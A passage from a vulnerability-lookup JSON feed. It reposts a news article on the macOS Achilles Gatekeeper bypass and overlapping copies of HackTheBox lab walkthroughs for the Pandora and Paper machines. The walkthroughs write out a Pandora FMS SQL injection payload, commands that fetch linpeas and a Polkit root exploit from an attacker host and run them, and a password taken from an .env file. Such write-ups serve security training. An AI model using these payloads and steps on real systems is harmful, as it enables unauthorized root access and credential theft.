researcher Jonathan Bar Or, the security flaw (dubbed Achilles) is now tracked as CVE-2022-42821.\n\nApple addressed the bug in macOS 13\u00a0(Ventura), macOS 12.6.2\u00a0(Monterey), and macOS 1.7.2\u00a0(Big Sur) one week ago, on December 13.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Gatekeeper bypass via restrictive ACLsGatekeeper\u00a0is a macOS security feature that automatically checks all apps downloaded from the Internet if they are notarized and developer-signed (approved by Apple), asking the user to confirm before launching or issuing an alert that the app cannot be trusted.\n\nThis is achieved by checking an extended attribute named com.apple.quarantine which is assigned by web browsers to all downloaded files, similar to Mark of the Web in Windows.\n\nThe Achilles flaw allows specially-crafted payloads to abuse a logic issue to set restrictive Access Control List (ACL) permissions that block web browsers and Internet downloaders from setting the com.apple.quarantine attribute for downloaded the payload archived as ZIP files.\n\nAs a result, the malicious app contained within the archived malicious payload launches on the target\u2019s system instead of getting blocked by Gatekeeper, allowing attackers to download and deploy malware.\n\nMicrosoft said on Monday that \u201cApple\u2019s Lockdown Mode, introduced in macOS Ventura as an optional protection feature for high-risk users that might be personally targeted by a sophisticated cyberattack, is aimed to stop zero-click remote code execution exploits, and therefore does not defend against Achilles.\u201d\n\n\u201cEnd-users should apply the fix regardless of their Lockdown Mode status,\u201d the Microsoft Security Threat Intelligence team added. https://www.microsoft.com/en-us/videoplayer/embed/RE5dQo5\nTrending: A primer on OS Command Injection Attacks\nTrending: Digital Forensics Tool: Email Analyzer \u200bMore macOS security bypasses and malwareThis is just one of multiple Gatekeeper bypasses found in the last several years, with many of them abused in the wild by attackers to circumvent macOS security mechanisms like Gatekeeper, File Quarantine, and System Integrity Protection (SIP) on fully patched Macs.\n\nFor instance, Bar Or reported a security flaw dubbed Shrootless\u00a0in 2021 that can let threat actors bypass System Integrity Protection (SIP) to perform arbitrary operations on the compromised Mac, elevate privileges to root, and even install rootkits on vulnerable devices.\n\nThe researcher also discovered powerdir, a bug that allows attackers to bypass Transparency, Consent, and Control (TCC) technology to access users\u2019 protected data.\n\nHe also released exploit code for a macOS vulnerability (CVE-2022-26706) that could help attackers bypass sandbox restrictions\u00a0to run code on the system.\n\nLast but not least, Apple fixed a zero-day macOS vulnerability in April 2021 that enabled threat actors behind the notorious Shlayer malware\u00a0to circumvent Apple\u2019s File Quarantine, Gatekeeper, and Notarization security checks and download more malware on infected Macs.\n\nShlayer\u2019s creators had also managed to get their payloads through Apple\u2019s automated notarizing process[...]", "vulnerability": "CVE-2022-26706", "author": {"login": "automation"}}, {"uuid": "e3c09a4f-7f41-4650-a45e-87ee09edc557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.646074+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81265", "content": "Black Hat Ethical Hacking\nMicrosoft finds macOS bug that lets malware bypass security checks\n\nMicrosoft finds macOS bug that lets malware bypass security checksPost Views: 17 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Apple has fixed a vulnerability attackers could leverage to deploy malware on vulnerable macOS devices via untrusted applications capable of bypassing Gatekeeper application execution restrictions.Found and reported by Microsoft principal security researcher Jonathan Bar Or, the security flaw (dubbed Achilles) is now tracked as CVE-2022-42821.\n\nApple addressed the bug in macOS 13\u00a0(Ventura), macOS 12.6.2\u00a0(Monterey), and macOS 1.7.2\u00a0(Big Sur) one week ago, on December 13.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Gatekeeper bypass via restrictive ACLsGatekeeper\u00a0is a macOS security feature that automatically checks all apps downloaded from the Internet if they are notarized and developer-signed (approved by Apple), asking the user to confirm before launching or issuing an alert that the app cannot be trusted.\n\nThis is achieved by checking an extended attribute named com.apple.quarantine which is assigned by web browsers to all downloaded files, similar to Mark of the Web in Windows.\n\nThe Achilles flaw allows specially-crafted payloads to abuse a logic issue to set restrictive Access Control List (ACL) permissions that block web browsers and Internet downloaders from setting the com.apple.quarantine attribute for downloaded the payload archived as ZIP files.\n\nAs a result, the malicious app contained within the archived malicious payload launches on the target\u2019s system instead of getting blocked by Gatekeeper, allowing attackers to download and deploy malware.\n\nMicrosoft said on Monday that \u201cApple\u2019s Lockdown Mode, introduced in macOS Ventura as an optional protection feature for high-risk users that might be personally targeted by a sophisticated cyberattack, is aimed to stop zero-click remote code execution exploits, and therefore does not defend against Achilles.\u201d\n\n\u201cEnd-users should apply the fix regardless of their Lockdown Mode status,\u201d the Microsoft Security Threat Intelligence team added. https://www.microsoft.com/en-us/videoplayer/embed/RE5dQo5\nTrending: A primer on OS Command Injection Attacks\nTrending: Digital Forensics Tool: Email Analyzer \u200bMore macOS security bypasses and malwareThis is just one of multiple Gatekeeper bypasses found in the last several years, with many of them abused in the wild by attackers to circumvent macOS security mechanisms like Gatekeeper, File Quarantine, and System Integrity Protection (SIP) on fully patched Macs.\n\nFor instance, Bar Or reported a security flaw dubbed Shrootless\u00a0in 2021 that can let threat actors bypass System Integrity Protection (SIP) to perform arbitrary operations on the compromised Mac, elevate privileges to root, and even install rootkits on vulnerable devices.\n\nThe researcher also discovered powerdir, a bug that allows attackers to bypass Transparency, Consent, and Control (TCC) technology to access users\u2019 protected data.\n\nHe also released exploit code for a macOS vulnerability (CVE-2022-26706) that could help attackers bypass sandbox restrictions\u00a0to run code on the system.\n\nLast but not least, Apple fixed a zero-day macOS vulnerability in April 2021 that enabled threat actors behind the notorious Shlayer malware\u00a0to circumvent Apple\u2019s File Quarantine, Gatekeeper, and Notarization security checks and download more malware on infected Macs.\n\nShlayer\u2019s creators had also managed to get their payloads through Apple\u2019s automated notarizing process[...]", "vulnerability": "CVE-2022-42821", "author": {"login": "automation"}}, {"uuid": "f2fc3941-cd5f-4585-ac64-1bb2a6844570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.608032+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81242", "content": "linpeas.sh in the target /tmp directory and gave execute permission with chmod 777 and simply executed.\ncd /tmp\nwget 10.10.14.3/linpeas.sh\nchmod 777 linpeas.sh\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieY8gDAt-YQtA5xLQEA7pHD8EqSIan2sbOQ5ZNYDYxmangWH191K4wCrb-dB8TWI-aILbyoK1VFDukN98skvdB6gYYXchGWhr5zqz-F_IseMSyH79Z_YwAIxwvmTAJf-XZevOdf9Jx8rwNyN79jBjBKNs7wftFy6mwvJobhS_Z9SiPJo3pun7ZyHzwng/s16000/6_1.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkT9BtNTPTAopP1c3HZh2aTG-y9FKqv_QyEeAYG4sDddXusJqzBlnk-Ub8YgamgtJQqEvXRwrX13MV9re10xDubJJ21EjF9ibK38SD0vQVJAX-mE5PSgpqJ69iAxxQaX4oTACjxaa0CdmTxtdT1o5HXbpN0IdEJs9u61Tu1nLvDZHlOZzg71SMphZpQ/s16000/6_2.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS54nArAAM0A9bfjOkXXTJIoc_WW4ZmDQ8c6ehvTP6iRKGm1f2ZtS1CsV8VuZjTUChPWdykevkGK_FlFgp-1WjvGyWSo8m2xWfgBVBOpIURlbzOpa_n3PmFUigX9G4F_-TfUwF-p4g1acjqeFAcCumE58VGVSJwA61Fes_U9RWmI_khhredSt59GArkA/s16000/6_3.png?w=640&ssl=1 \n\nFrom the linpeas result, we noticed a SUID pandora_backup is there which is an uncommon system binary, so we decided to find out more about it. Owner of this file is root, but matt has execution permission. Also, the web is hosted on an internal server which is only accessible from the internal port which means we cannot access it directly from our Kali machine but if we manage to forward its local host port to our kali machine then we can access it. If we give a closer look at the picture above, pandora.panda.htb is running on port 80 which is hosted from /var/www/pandora. Additionally, we can also assume it by checking the config file in which is available in the /etc/apache2/sites-enabled directory. Port ForwardingAs we know there is a service running on local port 80. We decided to use the local port forwarding technique here. It can be done from kali machine if we have valid credentials.\nssh -L 8084:localhost:80 -N -f -l daniel 10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhilHFfQkXLNAtfjn9fG6-P8cUJXicHlOsPvjLP2NSeeYpXJ97LKgYq5TRPW0aQxzR3U6E1xxAWpnyBXMpEHwkp4tnCZ99vsgM6J_XRzkAAVA6lUevQhz6OcVnUxFOj4fB37n8pjaOL4mkgJ3_I3qpa-LR-jKCIb8rsS16i0UVPiezmW2DpMq2_SRkyXg/s16000/7.png?w=640&ssl=1 \n\nFlags features:\n\n-L\u00a0\u00a0 : Listening port on Kali\n\n-N\u00a0\u00a0 : Do not execute any remote command\n\n-f\u00a0\u00a0 : Run in the background\n\n-l\u00a0 : Username \n\nAfter local port forwarding, we can access the service which was running on the target internal port. An interesting finding came up and lead us to the pandora login console.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghsy1UZE8TIw4fIUx4ngqaDh6-PuvCsGiB-zoY-Hd9TYmxqJ-reNUDdb5tyQBY8o1UWKQEYMLaEryd30rujCjvfjbBeG2g7n8BVlgfgcEna8l6VXSioLB2dkDw_znkWWcw0KzoKckZghQG-VPIQyhwyMBmakGQQQac9m5_aym9wxKw-0Rdc9Zxhkgy5Q/s16000/8.png?w=640&ssl=1 \n\nWhile enumerating the console we found a CMS with version is there on the right bottom side of the page: v7.0NG.742_FIX_PERL2020.\nhttp://localhost:8084/pandora_console/ \nAfter a few searches on google, we found Pandora FMS 742 is vulnerable to SQL injection. Detail information about the vulnerability can be found below: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained CVE-2021-32099 SQL Injection ExploitationThe blog had detailed information about the vulnerability but no POC or exploit code was available then we search for the CVE number so we can expand and filter our search on google to find out the exact resource that we are looking for. We found CVE-2021-32099 belongs to this vulnerability and found an exploit encoded POC in the Github.\n\nReference: https://github.com/ibnuuby/CVE-2021-32099\n\nWe decoded the URL and tested this payload against the target. Decoded payload:http://localhost:8084/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:\"admin\";' as data FROM tsessions_php WHERE '1'='1 \nhttps://i0.wp.com/blogge[...]", "vulnerability": "CVE-2021-32099", "author": {"login": "automation"}}, {"uuid": "7ddebe27-bd6b-4790-87c8-1f6f89ab4e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.567637+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81243", "content": "standard directory (hubot) present in the Dwight home directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1 \n\nNext, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let\u2019s talk about the environment files in the Linux system and why it is important to enumerate them.\n\nWhat is env file?\n\n.env files are used to store those variables\u00a0and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.\n\nWhy it is important to check environment files?\n\nThese environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user account.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1 \n\nNow we know the importance of the environment files in a Linux distribution. Let\u2019s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.\nfile ../hubot/.env \nAs we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight. \nUsername: dwight\nPassword: Queenofblad3s!23 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine.\u00a0 Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.\nssh dwight@10.129.74.162\npython3\u00a0-m\u00a0http.server\u00a080\nwget\u00a010.10.14.12/linpeas.sh\nchmod\u00a0777\u00a0linpeas.sh\u00a0\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]", "vulnerability": "CVE-2021-3560", "author": {"login": "automation"}}, {"uuid": "35c58dcb-6bd9-4d7b-bce6-109935112047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.532734+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81245", "content": "cking articles which has very clear instructions to exploit it. The full article is available in the below link: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/\n\nBackground of the vulnerability can be found here: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/\n\nReference of the exploit we have used here: https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from GitHub, you may use other utilities as well such as curl.\nwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png?w=640&ssl=1 \n\nOn the target side we downloaded the CVE-2021-3560.py exploit to the target /tmp directory with wget command. Then we execute the python script with python3.\nwget 10.10.14.12/ CVE-2021-3560.py\npython3 CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png?w=640&ssl=1 Root FlagAfter the successful execution of the script, it spawned a root shell. Now we can grab root flag from the root directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png?w=640&ssl=1 ConclusionThis machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chatbot feature abuse, file transfer, file permissions, the importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!\n\nAuthor: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin", "vulnerability": "CVE-2021-3560", "author": {"login": "automation"}}, {"uuid": "325af5a9-c1d9-49ea-9c8f-2d4185603ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.487104+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81151", "content": "Hacking Articles|Raj Chandel's Blog\nPaper HackTheBox Walkthrough\n\nSummaryPaper is Linux machine and considered as easy box by the hack the box. On this box we will begin with basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. A successfully execution of the exploit will spawn a root shell.<o:p Table of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Initial Enumeration<o:p\n* Find Domain Name <o:p\n* Web Page Enumeration<o:p\n* Searching For the Exploit<o:p\n* Secrets leaking Vulnerability Exploitation<o:p\n* Subdomain Enumeration<o:p\n* Bot Feature Abuse<o:p\n* User Flag<o:p\n* Privilege Escalation<o:p\n\n* PolicyKit Exploit: CVE-2021-3560<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the normal TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sV flag which performs a service version scan against the target machine. <o:p\n\nFlags features:<o:p -sV:\u00a0 Attempts to determine the service version<o:p nmap\u00a0 -sV 10.129.74.162<o:pFrom the nmap scan, we have found there were only three ports open, which is port 22,80and port 443. As usual HTTP serviceis running on port 80, HTTPSservice is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png Initial Enumeration<o:pWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have much interesting things. From the web page we found it is showing default page of CentOS. <o:p htttp://10.129.74.162<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png Find Domain Name Command used:<o:pcurl -I 10.129.74.162<o:pFlags features:<o:p -I: Include protocol response headers in the output<o:p\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper. We have used Kali inbuilt tool called curl.<o:p https://everything.curl.dev/project<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s[...]", "vulnerability": "CVE-2021-3560", "author": {"login": "automation"}}, {"uuid": "c7088867-664f-4e2b-a1b7-99ef95dd4330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.437045+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81155", "content": "Fxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png Privilege Escalation<o:pFrom the linpeas output, we saw few CVEs appeared as red which means these CVEs could be the potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4mioMBWAM4aVHF_j5SLhXbpZZlag4Fl3AnvohQOqOHsexxAbjDUmZHoa6C1eoICQhfsicM8OtpGfOXzrTMRb1yGxLjTLsgNLFkjLzMmjQS6IZF-jjTICZjSX2ZRdhXqnapOIolXwjOctTke6DRHOzw8ki7zTidH8V4_6iKEOVACyBRVFYMXWMEYZGjg/s16000/21.png PolicyKit Exploit: CVE-2021-3560<o:pAfter searching those exploits, we have found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits works similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Hacking articles which has a very clear instructions to exploit it. The full article is available in the below link:<o:p https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/<o:p\n\nBackground of the vulnerability can be found here:<o:p https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/<o:p\n\nReference of the exploit we have used here:<o:p https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py<o:p\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from the GitHub, you may use other utility as well such as curl.<o:p Command used to download:<o:pwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png On the target side we downloaded the CVE-2021-3560.pyexploit to the target /tmp directory with wget command. Then we execute the python script with python3. <o:p Command used:<o:pOn target side:<o:p wget 10.10.14.12/ CVE-2021-3560.py<o:ppython3 CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png Root Flag<o:pAfter successfully execution of the script, it spawned a root shell. Now we can grab root flag from the root directory. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png Conclusion:This machine was fun and was great source of learning, where we have learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chat bot feature abuse, file transfer, file permissions, importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.<o:p\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!<o:p", "vulnerability": "CVE-2021-3560", "author": {"login": "automation"}}, {"uuid": "55873286-7ddf-47ff-8d45-0dd495fc4c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.390432+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81237", "content": "Hacking Articles\nPaper HackTheBox Walkthrough\n\nPaper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read the sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. Successful execution of the exploit will spawn a root shell. Table of ContentInitial Access\n\n* TCP Port Scan\n* Initial Enumeration\n* Find Domain Name\n* Web Page Enumeration\n* Searching For the Exploit\n* Secrets leaking Vulnerability Exploitation\n* Subdomain Enumeration\n* Bot Feature Abuse\n* User Flag\n\nPrivilege Escalation\n\n* PolicyKit Exploit: CVE-2021-3560\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the normal TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used \u2013sV flag which performs a service version scan against the target machine.\n\nFlags features:\n\n-sV:\u00a0 Attempts to determine the service version\nnmap\u00a0 -sV 10.129.74.162 \nFrom the nmap scan, we have found there were only three ports open, which is port 22,80 and port 443. As usual HTTP service is running on port 80, HTTPS service is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is the latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png?w=640&ssl=1 \n\nInitial Enumeration\n\nWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have many interesting things. From the web page, we found it is showing default page of CentOS.\nhtttp://10.129.74.162 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png?w=640&ssl=1 \n\nFind Domain Name \ncurl -I 10.129.74.162 \nFlags features:\n\n-I: Include protocol response headers in the output\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper We have used Kali inbuilt tool called curl. https://everything.curl.dev/project\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s16000/3.png?w=640&ssl=1 